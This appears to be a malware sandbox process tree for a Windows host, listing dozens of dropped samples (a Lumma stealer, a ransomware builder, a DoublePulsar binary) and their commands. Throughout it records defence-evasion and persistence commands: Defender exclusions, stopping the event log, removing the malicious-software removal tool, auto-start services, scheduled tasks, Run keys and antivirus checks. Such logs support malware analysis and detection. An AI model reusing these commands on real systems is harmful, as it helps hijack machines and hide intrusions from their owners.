C:\Windows\system32\sc.exe delete "TQBWNGYW"
3⤵
- Launches sc.exe
PID:6788

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "TQBWNGYW" binpath= "C:\ProgramData\odvhyxzhhqlu\gzexiztdwrwd.exe" start= "auto"
3⤵
- Launches sc.exe
PID:5444

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "TQBWNGYW"
3⤵
- Launches sc.exe
PID:5980

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
3⤵
- Launches sc.exe
PID:1728

C:\Users\Admin\AppData\Local\Temp\Files\well.exe
"C:\Users\Admin\AppData\Local\Temp\Files\well.exe"
2⤵
PID:364

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" https://accounts.google.com
3⤵
- Enumerates system info in registry
PID:6792

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xd0,0xd4,0xd8,0xac,0xdc,0x7ffa71759758,0x7ffa71759768,0x7ffa71759778
4⤵
PID:5160

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1672 --field-trial-handle=1856,i,2745608857724057753,13800263960839702698,131072 /prefetch:8
4⤵
PID:8008

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1536 --field-trial-handle=1856,i,2745608857724057753,13800263960839702698,131072 /prefetch:2
4⤵
PID:5292

C:\Users\Admin\AppData\Local\Temp\Files\Helper.exe
"C:\Users\Admin\AppData\Local\Temp\Files\Helper.exe"
2⤵
- Enumerates connected drives
- Suspicious use of FindShellTrayWindow
PID:5456

C:\Windows\SysWOW64\msiexec.exe
"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Helper Company LLC\Helper 1.0.0\install\Helper.msi" AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\Files\Helper.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\Files\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1707811454 "
3⤵
- Blocklisted process makes network request
- Enumerates connected drives
PID:4288

C:\Users\Admin\AppData\Local\Temp\Files\file.exe
"C:\Users\Admin\AppData\Local\Temp\Files\file.exe"
2⤵
PID:5844

C:\Users\Admin\AppData\Local\Temp\Files\npp86Installerx64.exe
"C:\Users\Admin\AppData\Local\Temp\Files\npp86Installerx64.exe"
2⤵
- Adds Run key to start application
PID:6192

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\npp.8.6.2.Installer.x64.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\npp.8.6.2.Installer.x64.exe
3⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
PID:6252

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\npp.8.6.2.Installer.x64.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\npp.8.6.2.Installer.x64.exe
4⤵
PID:5760

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\cpu-z_2.09-en.exe
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\cpu-z_2.09-en.exe
3⤵
PID:6400

C:\Users\Admin\AppData\Local\Temp\Files\NINJA.exe
"C:\Users\Admin\AppData\Local\Temp\Files\NINJA.exe"
2⤵
- Drops startup file
- Adds Run key to start application
- NTFS ADS
- Suspicious behavior: GetForegroundWindowSpam
PID:6268

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c schtasks /create /tn SBADLH.exe /tr C:\Users\Admin\AppData\Roaming\Windata\system.exe /sc minute /mo 1
3⤵
PID:6932

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:6344

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /tn SBADLH.exe /tr C:\Users\Admin\AppData\Roaming\Windata\system.exe /sc minute /mo 1
4⤵
- Creates scheduled task(s)
PID:6188

C:\Windows\SysWOW64\WSCript.exe
WSCript C:\Users\Admin\AppData\Local\Temp\SBADLH.vbs
3⤵
PID:3440

C:\Users\Admin\AppData\Local\Temp\Files\T1_Net.exe
"C:\Users\Admin\AppData\Local\Temp\Files\T1_Net.exe"
2⤵
PID:6832

C:\Users\Admin\AppData\Local\Temp\Files\lumma.exe
"C:\Users\Admin\AppData\Local\Temp\Files\lumma.exe"
2⤵
PID:6620

C:\Users\Admin\AppData\Local\Temp\Files\lumma.exe
"C:\Users\Admin\AppData\Local\Temp\Files\lumma.exe"
3⤵
PID:6408

C:\Users\Admin\AppData\Local\Temp\Files\TierDiagnosis.exe
"C:\Users\Admin\AppData\Local\Temp\Files\TierDiagnosis.exe"
2⤵
PID:6568

C:\Windows\SysWOW64\cmd.exe
cmd /k cmd < Bathrooms & exit
3⤵
PID:7192

C:\Windows\SysWOW64\cmd.exe
cmd
4⤵
PID:7800

C:\Windows\SysWOW64\tasklist.exe
tasklist
5⤵
- Enumerates processes with tasklist
PID:8028

C:\Windows\SysWOW64\findstr.exe
findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
5⤵
PID:1296

C:\Users\Admin\AppData\Local\Temp\Files\heaoyam78.exe
"C:\Users\Admin\AppData\Local\Temp\Files\heaoyam78.exe"
2⤵
PID:6768

C:\Users\Admin\AppData\Local\Temp\Files\InstallSetup8.exe
"C:\Users\Admin\AppData\Local\Temp\Files\InstallSetup8.exe"
2⤵
PID:7864

C:\Users\Admin\AppData\Local\Temp\Files\rty45.exe
"C:\Users\Admin\AppData\Local\Temp\Files\rty45.exe"
2⤵
PID:4436

C:\Users\Admin\AppData\Local\Temp\Files\loader.exe
"C:\Users\Admin\AppData\Local\Temp\Files\loader.exe"
2⤵
PID:4092

C:\Users\Admin\AppData\Local\Temp\rhsgn_protected.exe
"C:\Users\Admin\AppData\Local\Temp\rhsgn_protected.exe"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
PID:6264

C:\Users\Admin\AppData\Local\Temp\ARA.exe
"C:\Users\Admin\AppData\Local\Temp\ARA.exe"
4⤵
- Modifies registry class
PID:7228

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\aUs3pwix5Vd1U6IYzTsfZ9E8dEV3MF.vbe"
5⤵
PID:7680

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\WJgXY0RCE6WdWGoPyLk7f.bat" "
6⤵
PID:8332

C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\Msblockreview.exe
"C:\Users\Admin\AppData\Roaming\reviewintobrokerHost\Msblockreview.exe"
7⤵
PID:8732

C:\Users\Admin\AppData\Local\Temp\Files\w-12.exe
"C:\Users\Admin\AppData\Local\Temp\Files\w-12.exe"
2⤵
PID:7984

C:\Users\Admin\AppData\Local\Temp\Files\jet.exe
"C:\Users\Admin\AppData\Local\Temp\Files\jet.exe"
2⤵
- Loads dropped DLL
PID:7836

C:\Users\Admin\AppData\Local\Temp\Files\ghost.exe
"C:\Users\Admin\AppData\Local\Temp\Files\ghost.exe"
2⤵
- Suspicious use of SetThreadContext
PID:6968

C:\Users\Admin\AppData\Local\Temp\Files\ghost.exe
"C:\Users\Admin\AppData\Local\Temp\Files\ghost.exe"
3⤵
PID:5580

C:\Users\Admin\AppData\Local\Temp\Files\ladas.exe
"C:\Users\Admin\AppData\Local\Temp\Files\ladas.exe"
2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4680

C:\Users\Admin\AppData\Local\Temp\Files\hv.exe
"C:\Users\Admin\AppData\Local\Temp\Files\hv.exe"
2⤵
PID:7840

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
3⤵
PID:6488

C:\Windows\SysWOW64\taskkill.exe
"taskkill.exe" /im chrome.exe /f
4⤵
- Kills process with taskkill
PID:4272

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
3⤵
PID:6340

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
3⤵
PID:8136

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" Remove-ItemProperty-Path'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'-Name'LibraryApp_for_translators_and_linguists';New-ItemProperty-Path'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'-Name'LibraryApp_for_translators_and_linguists' -Value '"C:\Users\Admin\AppData\Local\LibraryApp_for_translators_and_linguists\LibraryApp_for_translators_and_linguists.exe"' -PropertyType 'String'
3⤵
PID:7764

C:\Users\Admin\AppData\Local\Temp\Files\83f32a3d2dc9e3d9903f395a20b8ddd74a1f35487c6dffd67d9d9a014961f9d0.exe
"C:\Users\Admin\AppData\Local\Temp\Files\83f32a3d2dc9e3d9903f395a20b8ddd74a1f35487c6dffd67d9d9a014961f9d0.exe"
2⤵
- Checks SCSI registry key(s)
PID:6656

C:\Users\Admin\AppData\Local\Temp\Files\InstallSetup9.exe
"C:\Users\Admin\AppData\Local\Temp\Files\InstallSetup9.exe"
2⤵
PID:4152

C:\Users\Admin\AppData\Local\Temp\Files\_vti_cnf.exe
"C:\Users\Admin\AppData\Local\Temp\Files\_vti_cnf.exe"
2⤵
- Modifies WinLogon for persistence
- Disables RegEdit via registry modification
- Adds Run key to start application
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Windows directory
PID:7308

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /C AT /delete /yes
3⤵
PID:6156

C:\Windows\SysWOW64\at.exe
AT /delete /yes
4⤵
PID:5800

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /C AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\Windows\system32\RVHOST.exe
3⤵
PID:6324

C:\Windows\SysWOW64\at.exe
AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\Windows\system32\RVHOST.exe
4⤵
PID:7980

C:\Users\Admin\AppData\Local\Temp\Files\abc.exe
"C:\Users\Admin\AppData\Local\Temp\Files\abc.exe"
2⤵
- Drops desktop.ini file(s)
- Sets desktop wallpaper using registry
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies registry class
PID:6948

C:\ProgramData\FE44.tmp
"C:\ProgramData\FE44.tmp"
3⤵
PID:6416

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C DEL /F /Q C:\PROGRA~3\FE44.tmp >> NUL
4⤵
PID:7900

C:\Users\Admin\AppData\Local\Temp\Files\891b6cff6879ab69ae185a5956987ec46daaf434c60c93589c9ac06e4a4f7005.exe
"C:\Users\Admin\AppData\Local\Temp\Files\891b6cff6879ab69ae185a5956987ec46daaf434c60c93589c9ac06e4a4f7005.exe"
2⤵
PID:5928

C:\Users\Admin\AppData\Local\Temp\Files\abtc8mhlbehqil.exe
"C:\Users\Admin\AppData\Local\Temp\Files\abtc8mhlbehqil.exe"
2⤵
- Suspicious use of SetThreadContext
PID:5780

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
3⤵
PID:7180

C:\Users\Admin\AppData\Local\Temp\Files\a0538252234edd82661f55fea05df541c095a9f74368d8dca1582d797a1d084a.exe
"C:\Users\Admin\AppData\Local\Temp\Files\a0538252234edd82661f55fea05df541c095a9f74368d8dca1582d797a1d084a.exe"
2⤵
- Suspicious use of SetThreadContext
PID:4364

C:\Users\Admin\AppData\Local\Temp\Files\a0538252234edd82661f55fea05df541c095a9f74368d8dca1582d797a1d084a.exe
"C:\Users\Admin\AppData\Local\Temp\Files\a0538252234edd82661f55fea05df541c095a9f74368d8dca1582d797a1d084a.exe"
3⤵
- Checks SCSI registry key(s)
PID:7468

C:\Users\Admin\AppData\Local\Temp\Files\Temp1.exe
"C:\Users\Admin\AppData\Local\Temp\Files\Temp1.exe"
2⤵
- Adds Run key to start application
- Drops file in System32 directory
PID:1240

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "WSUS Update Client" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Files\Temp1.exe" /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:3336

C:\Windows\SysWOW64\SubDir\asg.exe
"C:\Windows\SysWOW64\SubDir\asg.exe"
3⤵
- Adds Run key to start application
- Drops file in System32 directory
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
PID:6680

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "WSUS Update Client" /sc ONLOGON /tr "C:\Windows\SysWOW64\SubDir\asg.exe" /rl HIGHEST /f
4⤵
- Creates scheduled task(s)
PID:8412

C:\Users\Admin\AppData\Local\Temp\Files\svcrun.exe
"C:\Users\Admin\AppData\Local\Temp\Files\svcrun.exe"
2⤵
PID:7124

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
3⤵
PID:8144

C:\Users\Admin\AppData\Local\Temp\Files\ransom_builder.exe
"C:\Users\Admin\AppData\Local\Temp\Files\ransom_builder.exe"
2⤵
- Loads dropped DLL
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:6392

C:\Users\Admin\AppData\Local\Temp\Files\National.exe
"C:\Users\Admin\AppData\Local\Temp\Files\National.exe"
2⤵
PID:3332

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:6736

C:\Users\Admin\AppData\Local\Temp\Files\timeSync.exe
"C:\Users\Admin\AppData\Local\Temp\Files\timeSync.exe"
2⤵
- Checks processor information in registry
PID:7916

C:\Users\Admin\AppData\Local\Temp\Files\Everything.exe
"C:\Users\Admin\AppData\Local\Temp\Files\Everything.exe"
2⤵
- Suspicious use of SetWindowsHookEx
PID:4636

C:\Users\Admin\AppData\Local\Temp\Files\Setup2010u32.exe
"C:\Users\Admin\AppData\Local\Temp\Files\Setup2010u32.exe"
2⤵
PID:8084

C:\Users\Admin\AppData\Local\Temp\AITMP0\CleanUp Icons FOP.exe
"C:\Users\Admin\AppData\Local\Temp\AITMP0\CleanUp Icons FOP.exe" /s %3
3⤵
PID:5636

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c mode con:cols=0080 lines=0025
4⤵
PID:1212

C:\Windows\SysWOW64\mode.com
mode con:cols=0080 lines=0025
5⤵
- Suspicious use of SetThreadContext
PID:5660

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c title Window Title
4⤵
PID:6804

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c if not exist "C:\Users\Admin\AppData\Local\Temp\afolder" mkdir "C:\Users\Admin\AppData\Local\Temp\afolder"
4⤵
PID:5284

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c if not exist "C:\Users\Admin\AppData\Local\Temp\xtmp" mkdir "C:\Users\Admin\AppData\Local\Temp\xtmp"
4⤵
PID:8044

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c attrib +h C:\Users\Admin\AppData\Local\Temp\xtmp
4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious use of FindShellTrayWindow
PID:5852

C:\Windows\SysWOW64\attrib.exe
attrib +h C:\Users\Admin\AppData\Local\Temp\xtmp
5⤵
- Views/modifies file attributes
PID:5480

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c echo:0>C:\Users\Admin\AppData\Local\Temp\is64.txt
4⤵
PID:5248

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\is64.bat
4⤵
PID:8980

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c if exist "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp50888.bat" del "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp50888.bat"
4⤵
PID:8972

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c if exist "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp32238.exe" del "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp32238.exe"
4⤵
PID:6704

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Windows\Sysnative\cmd.exe /C C:\Users\Admin\AppData\Local\Temp\xtmp\tmp50888.bat "C:\Users\Admin\AppData\Local\Temp\AITMP0\CleanUp Icons FOP.exe" /s %3
4⤵
PID:696

C:\Windows\System32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C C:\Users\Admin\AppData\Local\Temp\xtmp\tmp50888.bat "C:\Users\Admin\AppData\Local\Temp\AITMP0\CleanUp Icons FOP.exe" /s %3
5⤵
PID:7924

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c if exist "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp50888.bat" del "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp50888.bat"
4⤵
PID:9396

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c if exist "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp32238.exe" del "C:\Users\Admin\AppData\Local\Temp\xtmp\tmp32238.exe"
4⤵
PID:9692

C:\Users\Admin\AppData\Local\Temp\AITMP0\IconRemoval.exe
"C:\Users\Admin\AppData\Local\Temp\AITMP0\IconRemoval.exe" /s %2
3⤵
PID:10908

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
4⤵
PID:7748

C:\Users\Admin\AppData\Local\Temp\AITMP0\7zipFOPBACKEND.exe
"C:\Users\Admin\AppData\Local\Temp\AITMP0\7zipFOPBACKEND.exe" /s %1
3⤵
PID:9648

C:\Users\Admin\AppData\Local\Temp\Files\rty27.exe
"C:\Users\Admin\AppData\Local\Temp\Files\rty27.exe"
2⤵
PID:6976

C:\Users\Admin\AppData\Local\Temp\Files\easy.exe
"C:\Users\Admin\AppData\Local\Temp\Files\easy.exe"
2⤵
PID:7516

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2176

C:\Users\Admin\AppData\Local\Temp\Files\288c47bbc1871b439df19ff4df68f0776.exe
"C:\Users\Admin\AppData\Local\Temp\Files\288c47bbc1871b439df19ff4df68f0776.exe"
2⤵
PID:7364

C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe
"C:\Users\Admin\AppData\Local\Temp\288c47bbc1871b439df19ff4df68f076.exe"
3⤵
PID:1344

C:\Users\Admin\AppData\Local\Temp\InstallSetup4.exe
"C:\Users\Admin\AppData\Local\Temp\InstallSetup4.exe"
3⤵
PID:6084

C:\Users\Admin\AppData\Local\Temp\FourthX.exe
"C:\Users\Admin\AppData\Local\Temp\FourthX.exe"
3⤵
- Drops file in System32 directory
PID:6632

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
4⤵
PID:2872

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "UTIXDCVF"
4⤵
- Launches sc.exe
PID:9128

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
4⤵
PID:8112

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
5⤵
PID:6752

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "UTIXDCVF" binpath= "C:\ProgramData\xcfonrchdkar\vueqjgslwynd.exe" start= "auto"
4⤵
- Launches sc.exe
PID:6328

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "UTIXDCVF"
4⤵
- Launches sc.exe
PID:7392

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
4⤵
- Launches sc.exe
PID:7180

C:\Users\Admin\AppData\Local\Temp\Files\plaza.exe
"C:\Users\Admin\AppData\Local\Temp\Files\plaza.exe"
2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
PID:7372

C:\Users\Admin\AppData\Local\Temp\Files\windows.exe
"C:\Users\Admin\AppData\Local\Temp\Files\windows.exe"
2⤵
PID:4788

C:\Users\Admin\AppData\Local\Temp\Files\april.exe
"C:\Users\Admin\AppData\Local\Temp\Files\april.exe"
2⤵
PID:5160

C:\Users\Admin\AppData\Local\Temp\is-HP503.tmp\april.tmp
"C:\Users\Admin\AppData\Local\Temp\is-HP503.tmp\april.tmp" /SL5="$404E4,5944334,54272,C:\Users\Admin\AppData\Local\Temp\Files\april.exe"
3⤵
- Loads dropped DLL
PID:6156

C:\Users\Admin\AppData\Local\Temp\Files\update.exe
"C:\Users\Admin\AppData\Local\Temp\Files\update.exe"
2⤵
PID:6136

C:\Users\Admin\AppData\Local\Temp\Files\crpta.exe
"C:\Users\Admin\AppData\Local\Temp\Files\crpta.exe"
2⤵
- Suspicious use of SetThreadContext
PID:7464

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
3⤵
PID:6420

C:\Users\Admin\AppData\Local\Temp\Files\User%20OOBE%20Broker.exe
"C:\Users\Admin\AppData\Local\Temp\Files\User%20OOBE%20Broker.exe"
2⤵
PID:7208

C:\Users\Admin\AppData\Local\Temp\Files\User%20OOBE%20Broker.exe
"C:\Users\Admin\AppData\Local\Temp\Files\User%20OOBE%20Broker.exe"
3⤵
- Loads dropped DLL
PID:5968

C:\Users\Admin\AppData\Local\Temp\Files\pinguin.exe
"C:\Users\Admin\AppData\Local\Temp\Files\pinguin.exe"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:7960

C:\Users\Admin\AppData\Local\Temp\Files\cp.exe
"C:\Users\Admin\AppData\Local\Temp\Files\cp.exe"
2⤵
- Drops file in Windows directory
PID:6412

C:\Users\Admin\AppData\Local\Temp\Files\hiuhehufw.exe
"C:\Users\Admin\AppData\Local\Temp\Files\hiuhehufw.exe"
2⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
PID:3332

C:\Windows\SYSTEM32\cmd.exe
"cmd.exe" /C schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\Admin\AppData\Local\Temp\Files\hiuhehufw.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
3⤵
PID:6312

C:\Windows\system32\schtasks.exe
schtasks /create /tn \MicrosoftPlatformRenderer{37379bc5-bb9c-4fca-aa31-e33b4e087725} /tr "C:\Users\Admin\AppData\Local\Temp\Files\hiuhehufw.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:5800

C:\Users\Admin\AppData\Roaming\wshom\liveupdate.exe
C:\Users\Admin\AppData\Roaming\wshom\liveupdate.exe
2⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:6892

C:\Windows\SysWOW64\cmd.exe
C:\Windows\SysWOW64\cmd.exe
3⤵
- Drops startup file
- Suspicious behavior: MapViewOfSection
PID:6552

C:\Windows\System32\certutil.exe
C:\Windows\System32\certutil.exe
4⤵
- Suspicious use of SetThreadContext
PID:8564

C:\Windows\explorer.exe
explorer.exe
5⤵
PID:7012

C:\Users\Admin\AppData\Local\Temp\Files\Posh_v4_dropper_x64.exe
"C:\Users\Admin\AppData\Local\Temp\Files\Posh_v4_dropper_x64.exe"
2⤵
PID:6796

C:\Users\Admin\AppData\Local\Temp\Files\23.exe
"C:\Users\Admin\AppData\Local\Temp\Files\23.exe"
2⤵
- Adds Run key to start application
PID:1300

C:\Users\Admin\AppData\Roaming\telemetry\svcservice.exe
"C:\Users\Admin\AppData\Roaming\telemetry\svcservice.exe"
3⤵
PID:9604

C:\Users\Admin\AppData\Local\Temp\Files\hncc.exe
"C:\Users\Admin\AppData\Local\Temp\Files\hncc.exe"
2⤵
PID:1092

C:\Users\Admin\AppData\Local\Temp\Files\1e3d458e7ef866069259cb3b13b761e46f6278c3fca69ca846baca650b4e0f72.exe
"C:\Users\Admin\AppData\Local\Temp\Files\1e3d458e7ef866069259cb3b13b761e46f6278c3fca69ca846baca650b4e0f72.exe"
2⤵
PID:6816

C:\Users\Admin\AppData\Local\Temp\Files\1e3d458e7ef866069259cb3b13b761e46f6278c3fca69ca846baca650b4e0f72.exe
"C:\Users\Admin\AppData\Local\Temp\Files\1e3d458e7ef866069259cb3b13b761e46f6278c3fca69ca846baca650b4e0f72.exe"
3⤵
PID:4744

C:\Users\Admin\AppData\Local\Temp\Files\KB824105-x86-ENU.exe
"C:\Users\Admin\AppData\Local\Temp\Files\KB824105-x86-ENU.exe"
2⤵
PID:7148

C:\Windows\SysWOW64\cmd.exe
"cmd" /c net use
3⤵
PID:8568

C:\Users\Admin\AppData\Local\Temp\Files\net.exe
net use
4⤵
PID:8604

C:\Users\Admin\AppData\Local\Temp\Files\659474921cf6a4423645f52a7bf5a9be0e42f41573cb6918d5fdebd66b07e4b2.exe
"C:\Users\Admin\AppData\Local\Temp\Files\659474921cf6a4423645f52a7bf5a9be0e42f41573cb6918d5fdebd66b07e4b2.exe"
2⤵
PID:6828

C:\Users\Admin\AppData\Local\Temp\Files\%EC%9D%B8%ED%84%B0%EB%84%B7_%EC%A2%85%EB%9F%89%EC%A0%9C_%ED%85%8C%EC%8A%A4%ED%8A%B8-cksal16.exe
"C:\Users\Admin\AppData\Local\Temp\Files\%EC%9D%B8%ED%84%B0%EB%84%B7_%EC%A2%85%EB%9F%89%EC%A0%9C_%ED%85%8C%EC%8A%A4%ED%8A%B8-cksal16.exe"
2⤵
- Suspicious use of SetWindowsHookEx
PID:6480

C:\Users\Admin\AppData\Local\Temp\Files\Wattyl.exe
"C:\Users\Admin\AppData\Local\Temp\Files\Wattyl.exe"
2⤵
- Modifies WinLogon for persistence
- Disables RegEdit via registry modification
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Windows directory
PID:7664

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /C AT /delete /yes
3⤵
PID:2880

C:\Windows\SysWOW64\at.exe
AT /delete /yes
4⤵
PID:4756

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /C AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\Windows\system32\RVHOST.exe
3⤵
PID:4876

C:\Windows\SysWOW64\at.exe
AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\Windows\system32\RVHOST.exe
4⤵
PID:6816

C:\Users\Admin\AppData\Local\Temp\Files\dota.exe
"C:\Users\Admin\AppData\Local\Temp\Files\dota.exe"
2⤵
- Suspicious use of SetWindowsHookEx
PID:1808

C:\Users\Admin\AppData\Local\Temp\Files\net.exe
"C:\Users\Admin\AppData\Local\Temp\Files\net.exe"
2⤵
PID:6636

C:\Users\Admin\AppData\Local\Temp\Files\dropper_cs.exe
"C:\Users\Admin\AppData\Local\Temp\Files\dropper_cs.exe"
2⤵
PID:4644

C:\Users\Admin\AppData\Local\Temp\Files\r.exe
"C:\Users\Admin\AppData\Local\Temp\Files\r.exe"
2⤵
PID:5480

C:\Users\Admin\AppData\Local\Temp\Files\Doublepulsar-1.3.1.exe
"C:\Users\Admin\AppData\Local\Temp\Files\Doublepulsar-1.3.1.exe"
2⤵
PID:6340

